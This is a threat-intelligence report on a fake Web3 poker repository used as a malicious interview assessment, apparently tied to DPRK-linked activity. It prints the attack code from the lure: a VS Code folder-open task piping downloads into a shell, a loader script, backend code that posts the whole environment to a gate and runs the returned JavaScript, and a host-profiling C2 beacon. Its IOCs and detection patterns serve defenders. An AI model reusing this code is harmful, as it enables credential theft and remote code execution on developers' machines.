“The table is set like an altar, and whoso sits there is counted among the damned.”
Executive Summary
A threat actor operating under the GitHub organisation LimitBreakOrgs used a repository named bet_ver_1, publicly described as “BetPoker”, as a malicious Web3 gaming assessment project. The organisation name appears designed to resemble limitbreakinc, the legitimate GitHub organisation associated with Limit Break Inc., a Web3 gaming company. The preserved repository presents as a Web3 poker and sports betting platform and contains two independent execution routes: one through a VS Code folder-open task, and one through backend startup via npm start.
Both execution routes terminate in the same JavaScript Stage 2 registrar beacon. The beacon collects basic host identity material, including hostname, non-null MAC addresses, and OS fingerprint, then polls a plain-HTTP Express C2 endpoint every five seconds with campaign marker env991228 and a durable instanceId. The Stage 2 registrar C2 was observed in a standby state during analysis. A BetPoker-specific Stage 3 controller was not captured in this investigation; Stage 3 controller capabilities discussed in this report are treated as external cluster context from Microsoft reporting, not directly recovered BetPoker payload evidence.
The initial contact vector for this specific repository was not directly observed. Delivery through a fake recruiter or fake technical interview remains consistent with prior ThreatProphet cases and public Contagious Interview reporting, but it is not asserted as confirmed for this repository without additional evidence.
The most notable behavior in this case is the credential-gated environment exfiltration path. The backend loads both .env and .env.local, posts the merged process.env object to a Vercel-hosted gate endpoint, and executes the returned JavaScript with new Function("require", response.data)(require). Probes lacking the expected victim environment receive a plausible public IP-checking response, preserving the cover story of an ip-checking service and potentially exposing the probing host’s IP and VPN status to the service operator.
File-level artifacts link BetPoker to earlier ThreatProphet reporting. The .env.local file is byte-for-byte identical to the credential-harvesting template observed in the TP-2026-002 lure cluster, and the Registrar dependency package.json matches the artifact recovered from the TP-2026-001 Vercel delivery infrastructure. The beacon marker env991228 also preserves the 1228 suffix observed in TP-2026-001, supporting sub-campaign continuity.
Attribution is assessed at low-to-medium confidence to DPRK-linked Contagious Interview-aligned activity. The assessment is based on tradecraft and artifact overlap, not on independent confirmation of operator identity.
Evidence Basis and Scope
This report is based on preserved repository contents, file hashes, captured Vercel delivery responses, captured credential-gate behavior, and a live C2 standby response recorded during the original investigation window. The evidence archive is not distributed with the public report. Public comparison points are provided through hashes, repository identifiers, observable code patterns, and network indicators.
Claims in this report are separated as follows:
- Directly observed in BetPoker: repository structure, package scripts,
.vscode/tasks.json,.envand.env.localbehavior, backend module-load execution, credential-gate request structure, Stage 2 registrar beacon, C2 standby response, repository HEAD metadata, author-frequency metadata, and file hashes. - Cross-campaign correlation: file-hash and string-level matches with TP-2026-001 and TP-2026-002.
- External cluster context: Stage 3 controller capabilities and externally reported cluster indicators from Microsoft and GitLab. These are included for defensive context but are not treated as recovered BetPoker Stage 3 evidence.
Attack Overview
Lure and Impersonation
The repository is hosted under the GitHub organisation LimitBreakOrgs, which appears to typosquat limitbreakinc, the legitimate GitHub organisation associated with Limit Break Inc. The naming is consistent with a Web3 gaming impersonation theme and mirrors the brand-impersonation pattern documented in TP-2026-001, where a malicious GitHub organisation imitated a legitimate software company.
The preserved repository history is dominated by geracimos-crypto422 <interview.animoca+5@gmail.com>, which accounts for 114 commits. A secondary historical author, Ivan <167746537+DeAngDai354@users.noreply.github.com>, appears in two commits and should be treated cautiously as inherited, fork-related, or historical repository metadata unless corroborated by additional operator-controlled activity. The base string interview.animoca impersonates Animoca Brands thematically. The +5 suffix is a Gmail plus-addressing tag and should be treated as an operator-managed persona artifact, not as proof that a separate mailbox or a fifth account exists.
The preserved HEAD commit is 166c9dfac5ffa53919ee8952a36b68a7be983f8c, authored by geracimos-crypto422 <interview.animoca+5@gmail.com> on 2026-02-27 at timezone offset -0300, with subject update version. Timezone metadata is useful for clustering but weak as a standalone attribution signal because it can reflect local configuration, automation, VPN-associated workflows, or deliberate manipulation.
The repository presents as a full-stack Web3 poker platform: React/Next.js frontend, Node.js backend, Solidity smart contracts, MongoDB/PostgreSQL, Redis, and Phaser.js/Unity references. It had 58 commits, 1 star, and 1 fork at time of analysis. Installation instructions in the README are npm install followed by npm start. In a normal developer workflow, opening the repository in VS Code can expose the user to the folder-open task route, while following the README startup path exposes the user to the backend environment-exfiltration route.
Kill Chain
- Target is directed to evaluate the
LimitBreakOrgs/bet_ver_1repository as a technical interview assessment. The initial contact vector for this specific repository was not directly observed during this investigation; delivery via LinkedIn fake recruiter persona is consistent with prior campaigns in this cluster (TP-2026-001, TP-2026-002) and with broader Contagious Interview tradecraft, but should not be assumed for this repository specifically without additional evidence. - Target clones the repository and opens the folder in VS Code. In a trusted VS Code workspace, or where automatic tasks have been allowed,
.vscode/tasks.jsoncan execute an OS-specific pipe-to-shell command viarunOn: folderOpen. VS Code may prompt before allowing automatic tasks, so this is abuse of a legitimate developer workflow rather than a VS Code exploit. - Independently, following the README instructions and running
npm starttriggers the server route:loadEnv.jsmerges.envand.env.localintoprocess.env, thenauth.jsexecutes at module load, POSTing the victim’s complete environment to the credential gate endpoint and receiving the registrar beacon payload in response. - Via either route, the same JavaScript registrar beacon is installed and executed. It collects hostname, MAC addresses, and OS fingerprint, then beacons to
185.163.125[.]196:3000/api/errorMessageevery five seconds with campaign markerenv991228, tracking session state via a durableinstanceId. - When the operator activates, the C2 delivers a Stage 3 controller payload via the
status: "error"response path. Based on Microsoft’s analysis of related infrastructure, the next-stage controller in this campaign cluster is a persistent tasking client that polls a separate endpoint for amessages[]task array, executes tasks by piping JavaScript into a child Node interpreter, supports operator-directed directory enumeration and staged file exfiltration, and includes a kill switch. A BetPoker-specific Stage 3 controller response was not captured; the Stage 2 registrar C2 was in standby state at time of analysis. Stage 3 controller behavior described below is external cluster context, not directly recovered BetPoker evidence.
Technical Analysis
Execution Route 1 - VS Code Task Auto-Execution
File: .vscode/tasks.json
The task is labelled "env" - a label observed consistently across multiple Contagious Interview repositories in prior ASTRO reporting and in TP-2026-001. The runOptions.runOn: "folderOpen" property can execute the task when the folder is opened in VS Code after the workspace and automatic task execution are trusted or allowed. The presentation options suppress terminal visibility (reveal: silent, close: true, echo: false). The malicious commands are heavily indented in the raw file, pushing the delivery URL out of the default editor viewport - a low-cost evasion technique noted by Abstract Security ASTRO as increasingly common in this cluster.
The task implements a cross-platform pipe-to-shell primitive:
# Linux
wget -qO- 'hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/linux' | sh
# macOS
curl -L 'hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/mac' | bash
# Windows
curl --ssl-no-revoke -L hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/windows | cmd
The current delivery domain vscode-settings-tasks-227[.]vercel[.]app replaced vscode-ipchecking[.]vercel[.]app in commit 166c9df. The prior domain was the active Stage 1 endpoint documented in TP-2026-001. This is a direct infrastructure rotation rather than a new campaign.
All three platform endpoints were live and responding at time of analysis. The Linux and macOS endpoints return an identical Stage 1a loader:
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" \
"hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/bootstraplinux"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh"
clear
exit 0
The echo "Authenticated" output is a deliberate social engineering element - it makes the silent task appear to be performing a legitimate credential check. The macOS variant includes more verbose inline comments but is functionally identical.
Stage 1b - Bootstrap (/api/settings/bootstraplinux)
The bootstrap script performs the following operations silently:
- Checks for a global Node.js installation; if absent, queries
nodejs.org/dist/index.jsonfor the latest version and downloads a portable Node.js binary into$HOME/.vscode/, extracting and removing the tarball. - Records the current working directory name to
$HOME/.vscode/<foldername>.txt- this is victim workspace fingerprinting, writing the lure repository name to disk where the running implant can read it. - Downloads
env-setup.js(the beacon implant) andpackage.jsonfrom/api/settings/envand/api/settings/packagerespectively into$HOME/.vscode/. - Runs
npm installto pull dependencies (axios,request). - Executes
env-setup.jsvia Node.js.
The portable Node.js fallback ensures execution succeeds on machines without a pre-existing Node.js environment, significantly broadening the potential victim pool beyond developers with an established Node setup.
Windows path: The /api/settings/windows endpoint returns a minimal .cmd launcher that downloads vscode-bootstrap.cmd from /api/settings/bootstrap. The Windows bootstrap was not retrieved in this investigation; the download chain is structurally equivalent.
Execution Route 2 - Server Startup via npm start
Files: server/server.js, server/config/loadEnv.js, server/routes/api/auth.js, server/controllers/auth.js
On npm start, server.js calls require('./config/loadEnv')() which loads both .env and .env.local into process.env via dotenv. It then calls configureRoutes(), which requires server/routes/api/auth.js.
At module level in auth.js, validateApiKey() is called immediately on require():
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
The console message references a “mempool scan” - language that blends naturally into the expected output of a Web3 backend. However, this abort path never actually fires. validateApiKey() is declared async but neither awaits its internal promise nor returns it, meaning the function returns undefined immediately. The if (!verified) check always evaluates to true and the deception message prints unconditionally on every startup, while the .then() chain - which contains the exfiltration logic - executes asynchronously in the background regardless:
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API)) // promise never awaited
.then((response) => {
const executor = new Function("require", response.data);
executor(require); // RCE
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
// implicit return undefined
}
From a detection standpoint: the string "Aborting mempool scan due to failed API verification." appearing in Node.js output does not indicate the process terminated safely - it indicates exfiltration has already started.
Exfiltration and gate (server/controllers/auth.js):
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});
atob(process.env.AUTH_API) decodes the Base64 value from .env to hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/api. The full process.env - including every variable from both .env and .env.local - is then POSTed as JSON with the campaign fingerprint header x-app-request: ip-check. This header was also present in the TP-2026-001 Stage 1 endpoint at vscode-ipchecking[.]vercel[.]app, establishing direct infrastructure continuity.
The exfiltrated snapshot includes all variables present in the merged environment at runtime:
NODE_ENV, PORT, ALCHEMY_API_KEY, WEB3_PROVIDER_URL,
ETHERSCAN_API_KEY, POLYGONSCAN_API_KEY, POLYGON_RPC_URL,
INFURA_IPFS_PROJECT_ID, INFURA_IPFS_PROJECT_SECRET,
PINATA_API_KEY, PINATA_API_SECRET, STRIPE_SECRET_KEY,
COINBASE_COMMERCE_API_KEY, AWS_ACCESS_KEY_ID,
AWS_SECRET_ACCESS_KEY, AWS_REGION, OPENAI_API_KEY,
SENTRY_DSN, AUTH_API, INFURA_PROJECT_ID,
INFURA_PROJECT_SECRET, SESSION_SECRET
+ any real credentials the victim has loaded into .env.local
The .gitignore Manipulation and Credential Gate
Commit 6b5a801 removes .env.local from .gitignore and commits the file to the repository. This is a three-part trap. By convention, .env.local is where developers store their actual local credentials, overriding the placeholder values in .env. By committing a realistic template - containing INFURA_PROJECT_ID, INFURA_PROJECT_SECRET, and SESSION_SECRET - the actor provides a model for what to add while ensuring the file is tracked by git. Most importantly, loadEnv.js explicitly loads .env.local on every server startup, so its variables are always included in the exfiltration POST.
These same three variables - INFURA_PROJECT_ID, INFURA_PROJECT_SECRET, SESSION_SECRET - are the confirmed gate keys documented in the TP-2026-002 Japanese-Royal campaign. Because loadEnv.js guarantees these variables are present in process.env for every genuine victim execution of the preserved repository, the credential gate is effectively satisfied without requiring the victim to hold any real credentials. The operator receives environment material on every execution; real credentials in the victim’s local .env.local are harvested as a side effect.
GitLab’s concurrent analysis of North Korean Contagious Interview activity independently documents the same .env-based staging pattern at scale across more than 80% of the 131 accounts they banned in 2025. Their year-in-review identifies a standardized structure: a base64-encoded staging URL, a header key, and a header value masquerading as benign configuration variables in .env, combined with a trigger function and a Function.constructor error handler executing server-returned JavaScript. The structural parallel to TP-2026-004 is direct - AUTH_API in this campaign encodes only the URL, while the GitLab-documented canonical variant separates URL, header key, and header value into three variables (RUNTIME_CONFIG_API_KEY, RUNTIME_CONFIG_ACCESS_KEY, RUNTIME_CONFIG_ACCESS_VALUE). The functional logic is identical. GitLab also independently confirms the decoy mechanism: staging URLs in this cluster commonly return benign content unless the correct header values are present - the same gating behavior observed at ip-checking-notification-firebase-2[.]vercel[.]app.
The .env.local file committed in this repository is byte-for-byte identical (SHA256: 37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead) to the .env.local present in all lure repositories in the TP-2026-002 cluster - 0xroaman-1/Japanese-Royal, 0xroaman-1/Betfin, and 0xroaman-2/Betfin. This is a direct file-level link across campaigns.
Credential Gate Endpoint and Decoy Behavior
Endpoint: hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/api
The endpoint name maintains cover as an IP checking or Firebase notification service. Direct probing with a partial environment - or any probe lacking the full merged process.env including AUTH_API - returns a convincing decoy response:
{
"status": "OK",
"message": "Public API response",
"client": {
"ipAddress": "89.249.72.12",
"vpnDetected": false,
"note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
}
}
This decoy is not a generic empty response. It renders the endpoint’s cover identity plausible to a casual analyst, returns the probing party’s apparent IP address and reports VPN status. This behavior may help the operator identify analysts or automated probes while maintaining the endpoint’s cover story. The endpoint is simultaneously a payload gate, an exfiltration sink, and an analyst detection mechanism.
A probe with the full merged environment, including AUTH_API from .env, returned the beacon payload directly. This indicates that AUTH_API presence, or the complete environment shape containing it, is a likely gate discriminator because it is present in genuine repository execution and usually absent from casual external probes.
The response body is executed immediately via new Function("require", response.data)(require).
Stage 2 - Registrar Beacon and C2
Staging note: This report numbers the repository and Vercel delivery loaders as Stage 1, the credential-gate response / registrar beacon as Stage 2, and the unrecovered operator tasking controller as Stage 3. Some external reporting uses different numbering; where necessary, this report prioritizes functional labels over stage numbers.
Both delivery routes terminate at Stage 2 registrar-beacon logic. The VS Code task route delivers a minified beacon, while the server-route gate response returns readable source. They are not byte-identical, and naive text-similarity comparisons vary because of minification and capture wrappers. Functional equivalence is assessed from shared behavior: both require axios and os, collect hostname, MAC addresses, and OS fingerprint, call hxxp://185.163.125[.]196:3000/api/errorMessage, use exceptionId=env991228, maintain instanceId, poll every five seconds, and execute response.data.message through new Function when the C2 returns status: "error".
The recovered server-route gate response is therefore treated as the Stage 2 registrar beacon. The HTTP/2 capture shows the gate request to ip-checking-notification-firebase-2[.]vercel[.]app/api with x-app-request: ip-check, and the returned JavaScript performs host profiling and repeated polling of 185.163.125[.]196:3000/api/errorMessage with exceptionId=env991228 and instanceId.
// Annotated - Stage 2 registrar beacon (both routes)
const axios = require("axios");
const os = require("os");
let instanceId = 0; // durable session identifier, updated by C2
function getSystemInfo() {
return {
hostname: os.hostname(),
macs: Object.values(os.networkInterfaces())
.flat().filter(Boolean)
.map(n => n.mac)
.filter(mac => mac && mac !== "00:00:00:00:00:00"),
os: `${os.type()} ${os.release()} (${os.platform()})`
};
}
async function checkServer() {
try {
const res = await axios.get(
"hxxp://185.163.125[.]196:3000/api/errorMessage", // Stage 2 registrar C2 - plain HTTP
{
params: {
sysInfo: getSystemInfo(),
exceptionId: "env991228", // campaign marker
instanceId // correlates sessions across polls
}
}
);
if (res.data.status === "error") {
// Stage 3 controller bootstrap may be delivered here and executed in-memory
new Function("require", res.data.message)(require);
} else {
if (res.data.instanceId) instanceId = res.data.instanceId;
}
} catch (err) {}
}
checkServer();
setInterval(checkServer, 5000); // beacon every 5 seconds
The Stage 2 registrar C2 at 185.163.125[.]196:3000 was confirmed live and in standby state at 2026-03-02T22:51:30Z, returning {"status":"ok","message":"server connected"}. The server identifies as Express (X-Powered-By: Express) and communicates over plain HTTP on port 3000. The instanceId mechanism allows the operator to correlate a specific victim across polling intervals before activating - the initial registration sends instanceId=0; the server may return a durable identifier which the client reuses in all subsequent polls.
The credential-gate response uploaded with this evidence is the Stage 2 registrar beacon. It should not be treated as the persistent Stage 3 controller. The BetPoker-specific Stage 3 controller remains unrecovered in this investigation.
Note on 185.163.125[.]196: This IP does not appear in Microsoft’s published IOC list for the broader campaign cluster, which includes 87.236.177[.]9, 147.124.202[.]208, 163.245.194[.]216, and 66.235.168[.]136. It should be treated as a new C2 node not previously reported.
Stage 3 - Persistent Controller Context (Not Captured in BetPoker)
Stage 2 is a lightweight registrar. During this investigation, the BetPoker C2 remained in standby state and did not deliver the next-stage operator controller. The following behaviors are included as external cluster context from Microsoft reporting on related malicious developer-assessment repositories, not as directly recovered BetPoker Stage 3 evidence:
- Separate C2 infrastructure: the next-stage controller communicates with a distinct C2 IP and API surface provided by the registrar response, not hardcoded in the Stage 2 registrar itself.
- Operator tasking via
messages[]array: the next-stage controller polls a tasking endpoint and receives an array of JavaScript tasks for execution, maintaining session state and supporting identity rotation between rounds. - In-memory execution via child Node interpreter: Tasks are piped into a child
nodeprocess via STDIN rather than written to disk, reducing on-disk artifacts. - Operator-directed discovery: Paired directory enumeration endpoints (
/api/hsocketNext,/api/hsocketResult) allow the operator to browse the victim filesystem interactively. - Staged file exfiltration: A multi-step upload workflow (
/upload,/uploadsecond,/uploadend) supports targeted file transfer after operator-directed collection. - Kill switch and process management: the next-stage controller can stop managed processes and exit cleanly on operator instruction.
- Error telemetry: A reporting endpoint (
/api/reportErrors) receives execution status, providing the operator with visibility into task success or failure.
This design separates initial delivery and registration (Stages 1-2) from exploitation through the next-stage controller, allowing the operator to selectively activate only victims of interest and rotate controller infrastructure independently.
Cross-Campaign Artifact Links
Three file-level or string-level artifacts directly link this campaign to prior ThreatProphet investigations:
| Artifact | Value | Also in |
|---|---|---|
.env.local | SHA256 37eb8e11... | TP-2026-002: all 0xroaman-1 and 0xroaman-2 lure repos |
Stage 1 package.json | SHA256 6effad9f... | TP-2026-001: vscode-ipchecking[.]vercel[.]app/api/settings/package |
exceptionId suffix | 1228 in env991228 | TP-2026-001: beacon parameter exceptionId=1228 |
The package.json match is particularly significant: the operator rotated the Stage 1 delivery domain from vscode-ipchecking[.]vercel[.]app (TP-2026-001) to vscode-settings-tasks-227[.]vercel[.]app (TP-2026-004), but reused the exact same package.json artifact served from the new domain. The infrastructure rotated; the tooling did not.
Key Evolution from TP-2026-001
| Aspect | TP-2026-001 (Tech-Core) | TP-2026-004 (BetPoker) |
|---|---|---|
| Payload staging | BSC smart contract getMemo() | Base64-encoded URL in .env as AUTH_API |
| Delivery domain | vscode-ipchecking[.]vercel[.]app | vscode-settings-tasks-227[.]vercel[.]app |
| Gate / staging endpoint | Hardcoded C2 IP 163.245.194[.]216:3000 | Vercel gate ip-checking-notification-firebase-2[.]vercel[.]app |
| C2 IP | 163.245.194[.]216 | 185.163.125[.]196 |
| Gate mechanism | None - direct C2 beacon | Credential-gated with analyst-aware decoy response |
.env.local | Not tracked | Removed from .gitignore, committed as gate key template |
| exfil header | x-app-request: ip-check | x-app-request: ip-check - identical |
| RCE primitive | new Function('require', payload)(require) | new Function('require', payload)(require) - identical |
| exceptionId | 1228 | env991228 (suffix preserved) |
| Org impersonation | Softstack-Hub5 → SOFTSTACK GmbH | LimitBreakOrgs → Limit Break Inc. |
| Email identity | stevejame329+1@gmail.com | interview.animoca+5@gmail.com |
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Notes |
|---|---|---|---|
| T1566.003 | Spearphishing via Service | Initial Access | Fake technical-assessment delivery is consistent with the cluster, but the initial contact platform for this repository was not directly observed. |
| T1204.002 | User Execution: Malicious File | Execution | Victim opens/trusts the repository in VS Code or follows README startup instructions. |
| T1059.007 | Command and Scripting Interpreter: JavaScript | Execution | Node.js new Function() executes server-returned JavaScript; Stage 2 registrar is JavaScript. |
| T1059.004 | Unix Shell | Execution | Linux/macOS VS Code tasks use `wget/curl |
| T1059.003 | Windows Command Shell | Execution | Windows VS Code task pipes curl output to cmd. |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | Plain HTTP beacon to 185.163.125[.]196:3000; HTTPS used for Vercel delivery and gate infrastructure. |
| T1027 | Obfuscated Files or Information | Defense Evasion | Base64-encoded AUTH_API, minified beacon, and horizontally padded task configuration. |
| T1552.001 | Unsecured Credentials: Credentials In Files | Credential Access | .env and .env.local variables are merged into process.env and posted to the gate endpoint. |
| T1119 | Automated Collection | Collection | {...process.env} collects the full runtime environment in one operation. |
| T1105 | Ingress Tool Transfer | Command and Control | Vercel endpoints download loader, bootstrap, package manifest, and beacon payload into $HOME/.vscode/. |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Defense Evasion | Brand-impersonating organisation and email persona; env task label and Web3-themed console strings blend with expected project behavior. |
Infrastructure Analysis
| Indicator | Type | Status at Analysis |
|---|---|---|
vscode-settings-tasks-227[.]vercel[.]app | Stage 1 delivery domain | Active during analysis; platform endpoints returned loader content. |
ip-checking-notification-firebase-2[.]vercel[.]app | Credential gate / environment exfiltration endpoint | Active during analysis; returned decoy on ungated probes and beacon payload on gated probe. |
185.163.125[.]196:3000 | Stage 2 registrar C2 | Active during analysis; returned standby response at 2026-03-02T22:51:30Z. |
vscode-ipchecking[.]vercel[.]app | Prior Stage 1 delivery domain from TP-2026-001 | Historical cross-campaign correlation; not treated as active BetPoker infrastructure. |
github[.]com/LimitBreakOrgs/bet_ver_1 | Lure repository | Active at time of analysis. |
The Vercel-hosted delivery and gate endpoints should be treated as actor-controlled application endpoints, not as evidence that Vercel infrastructure itself is malicious. Vercel edge IPs are shared infrastructure and should not be used as blocking indicators without additional context.
The Stage 2 registrar communicates over plain HTTP on TCP/3000 with an Express-style response. The observed standby response indicates the server was live but did not activate the next-stage controller during the investigation window.
Indicators of Compromise
Indicators are provided for defensive comparison. Directly observed BetPoker indicators are separated from externally reported related-cluster indicators.
Network Indicators - Directly Observed in BetPoker
| Indicator | Type | Notes |
|---|---|---|
185.163.125[.]196 | IPv4 | Stage 2 registrar C2, confirmed active during analysis. |
185.163.125[.]196:3000 | IP:Port | Stage 2 beacon destination over plain HTTP. |
vscode-settings-tasks-227[.]vercel[.]app | Domain | Stage 1 delivery domain for Linux, macOS, and Windows loaders. |
ip-checking-notification-firebase-2[.]vercel[.]app | Domain | Credential gate and environment exfiltration endpoint. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/linux | URL | Linux Stage 1a loader. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/mac | URL | macOS Stage 1a loader. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/windows | URL | Windows Stage 1a loader. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/bootstraplinux | URL | Linux/macOS bootstrap script. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/env | URL | Minified Stage 2 registrar beacon. |
hxxps://vscode-settings-tasks-227[.]vercel[.]app/api/settings/package | URL | Stage 2 registrar dependency manifest. |
hxxps://ip-checking-notification-firebase-2[.]vercel[.]app/api | URL | Credential gate endpoint loaded from Base64-encoded AUTH_API. |
/api/errorMessage | URL path | Stage 2 registrar C2 beacon path. |
exceptionId=env991228 | URL parameter | Campaign marker in Stage 2 beacon. |
x-app-request: ip-check | HTTP header | Credential-gate fingerprint header. |
Network Indicators - External Related-Cluster Context
| Indicator | Type | Notes |
|---|---|---|
87.236.177[.]9 | IPv4 | Externally reported next-stage controller infrastructure in Microsoft analysis; not directly observed as BetPoker C2. |
147.124.202[.]208 | IPv4 | Externally reported error-reporting C2 in Microsoft analysis; not directly observed as BetPoker C2. |
163.245.194[.]216 | IPv4 | TP-2026-001 / Microsoft cluster C2; cross-campaign context. |
66.235.168[.]136 | IPv4 | Externally reported related-cluster C2. |
ip-checking-notification-firebase[.]vercel[.]app | Domain | Externally reported related gate domain. |
ip-checking-notification-firebase111[.]vercel[.]app | Domain | Externally reported related gate domain. |
ip-check-notification-firebase03[.]vercel[.]app | Domain | Externally reported related gate domain. |
ip-check-notification-03[.]vercel[.]app | Domain | Externally reported related gate domain. |
ip-check-wh[.]vercel[.]app | Domain | Externally reported related gate domain. |
ip-check-notification-rkb[.]vercel[.]app | Domain | Externally reported related gate domain. |
price-oracle-v2[.]vercel[.]app | Domain | Externally reported related delivery domain. |
/api/handleErrors | URL path | Externally reported next-stage tasking endpoint. |
/api/reportErrors | URL path | Externally reported next-stage telemetry endpoint. |
/api/hsocketNext, /api/hsocketResult | URL path | Externally reported directory enumeration endpoints. |
/upload, /uploadsecond, /uploadend | URL path | Externally reported staged file-exfiltration endpoints. |
File and Payload Hashes
Hashes are included for independent comparison with repository mirrors, captured delivery responses, and recovered payloads. The evidence archive itself is not distributed with the public report.
| SHA256 | Artifact | Notes |
|---|---|---|
5f70dd06715b95b3bedacd06a37e051611901e56246af05fa3ed9f734082de43 | .vscode/tasks.json | VS Code folder-open task route. |
f72cc8399e6cea8463ff7c20d8f3e6c2fb81ea32d4741cb4a3676ad461ff67bc | Root package.json | Repository root manifest. |
b8c2b82b28909448c3b1eff1e0d96ada3ba171f1615aadfb95e2ef08a8dbb77f | .env | Contains Base64-encoded gate URL as AUTH_API. |
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead | .env.local | Shared credential-template artifact also observed in TP-2026-002 lure repositories. |
a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986de | server/server.js | Backend entry point. |
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce | server/controllers/auth.js | Environment exfiltration and gate logic. |
28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accd | server/routes/api/auth.js | Module-load trigger. |
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 | server/config/loadEnv.js | Loads .env and .env.local into process.env. |
4dbd9706e23a4cb59928db286e484eabcb08ad902ffc259a1c3342045e4e5883 | Linux Stage 1a loader | Delivery response from /api/settings/linux. |
3a188d076eb5b377b67753bd6020dea99c3f7775269bd8ebd001806d1b274cca | macOS Stage 1a loader | Delivery response from /api/settings/mac. |
0b7e58229a53dad3edd707ba0c5336055ed7c4b0cbc6a52f79f9a88c6781f955 | Windows Stage 1a loader | Delivery response from /api/settings/windows. |
8e9769b4727f8c1eb7a28699296022126ecb0b2774f0e2da3f67d07ff8bcc01f | Stage 1b bootstrap script | Delivery response from /api/settings/bootstraplinux. |
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 | Registrar dependency package.json | Matches the TP-2026-001 Vercel-delivered package artifact. |
165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69 | Minified Stage 2 registrar beacon | Delivered through the VS Code task route. |
b8fb424f27ab1aaa736cf510ea77c1e6e1b7ab25692e64ee7f16c824fcb3a197 | Readable Stage 2 registrar beacon | Returned by the credential-gated server route. |
37357f9b8a83b1a12689b2ff9a1d913669e0a911f2e526ab2ddb575844c4c0c6 | Repository mirror archive | Preserved repository archive hash. |
435868c179567a62ac18685b4ab6180d50e72823aa1a6d770ea7570172bc0028 | Gated probe capture | Full-environment gate response capture. |
bb1ec9c8a23dd4f518f44f25b88b34b9ebfc36fee236207942eeca26ff9a79de | Stage 2 registrar C2 standby response | C2 probe capture at 2026-03-02T22:51Z. |
Code Pattern Indicators
| Pattern | Type | Notes |
|---|---|---|
runOn: folderOpen in .vscode/tasks.json | Code pattern | VS Code automatic task trigger; requires workspace/automatic-task trust conditions. |
new Function("require", payload)(require) | Code pattern | Server-returned JavaScript execution primitive. |
{...process.env} as POST body | Code pattern | Full runtime environment exfiltration. |
setApiKey = (s) => atob(s) | Code pattern | Base64 decode of AUTH_API gate URL. |
Task label "env" | Code pattern | Benign-looking task label used for delivery route. |
/api/settings/{linux,mac,windows} | URL path pattern | Platform-specific Stage 1 dispatch. |
x-app-request: ip-check | HTTP header | Credential-gate fingerprint header. |
Repository and Identity Indicators
| Indicator | Type | Notes |
|---|---|---|
github[.]com/LimitBreakOrgs/bet_ver_1 | Repository | Primary lure repository, active at analysis. |
LimitBreakOrgs | GitHub organisation | Brand-impersonating organisation name. |
166c9dfac5ffa53919ee8952a36b68a7be983f8c | Commit | Preserved HEAD commit, subject update version, dated 2026-02-27 11:25:53 -0300. |
geracimos-crypto422 | GitHub account | Dominant observed Git author, 114 commits. |
interview.animoca+5@gmail.com | Git author identity; persona artifact using Gmail plus-addressing. | |
Ivan <167746537+DeAngDai354@users.noreply.github.com> | Git author identity | Secondary historical author with two commits; not treated as operator identity without corroboration. |
Attribution Assessment
Assessed confidence: Low-to-Medium
The following aspects of this campaign are consistent with DPRK-linked Contagious Interview-aligned activity:
- Fake developer recruitment and technical-assessment delivery - a defining characteristic of Contagious Interview reporting - are consistent with the cluster, although the initial contact vector for BetPoker was not directly observed
- NFT/Web3/gaming project theming - consistent with DPRK-linked actors’ documented focus on cryptocurrency targets under the TraderTraitor cluster
- Cross-platform execution targeting macOS, Linux, and Windows
- VS Code task auto-execution as the primary delivery mechanism, with the specific
runOn: folderOpenpattern documented by Jamf Threat Labs and Abstract Security ASTRO as consistently used in this campaign cluster - The
new Function('require', payload)(require)RCE primitive, thex-app-request: ip-checkcampaign header, and the/api/errorMessageC2 path are consistent across all three campaigns in this ThreatProphet series, suggesting a common toolkit or operator
The interview.animoca+5@gmail.com author identity reflects a systematic persona management approach consistent with the pre-staged account infrastructure observed in TP-2026-001 (Softstack-Hub4/Softstack-Hub5) and the numbered identities in TP-2026-002.
GitLab’s public reporting describes North Korean Contagious Interview and IT-worker activity as involving multiple operational streams and varied tradecraft, based on divergent techniques and infrastructure across simultaneous clusters. The -0300 commit timezone offset in TP-2026-004 - diverging from the consistent +0200 observed across TP-2026-002 - should therefore be treated as a clustering variation rather than decisive evidence for or against common control.
As with prior reports, TTP similarity alone does not constitute confirmed attribution. These techniques are well-documented in public reporting and could be replicated by actors familiar with prior Contagious Interview coverage.
- Palo Alto Unit42 - Contagious Interview
- CISA - TraderTraitor
- Jamf Threat Labs - Threat Actors Expand Abuse of VS Code (2026-01-20)
- Abstract Security ASTRO - Contagious Interview: Tracking the VS Code Tasks Infection Vector (2026-01-20)
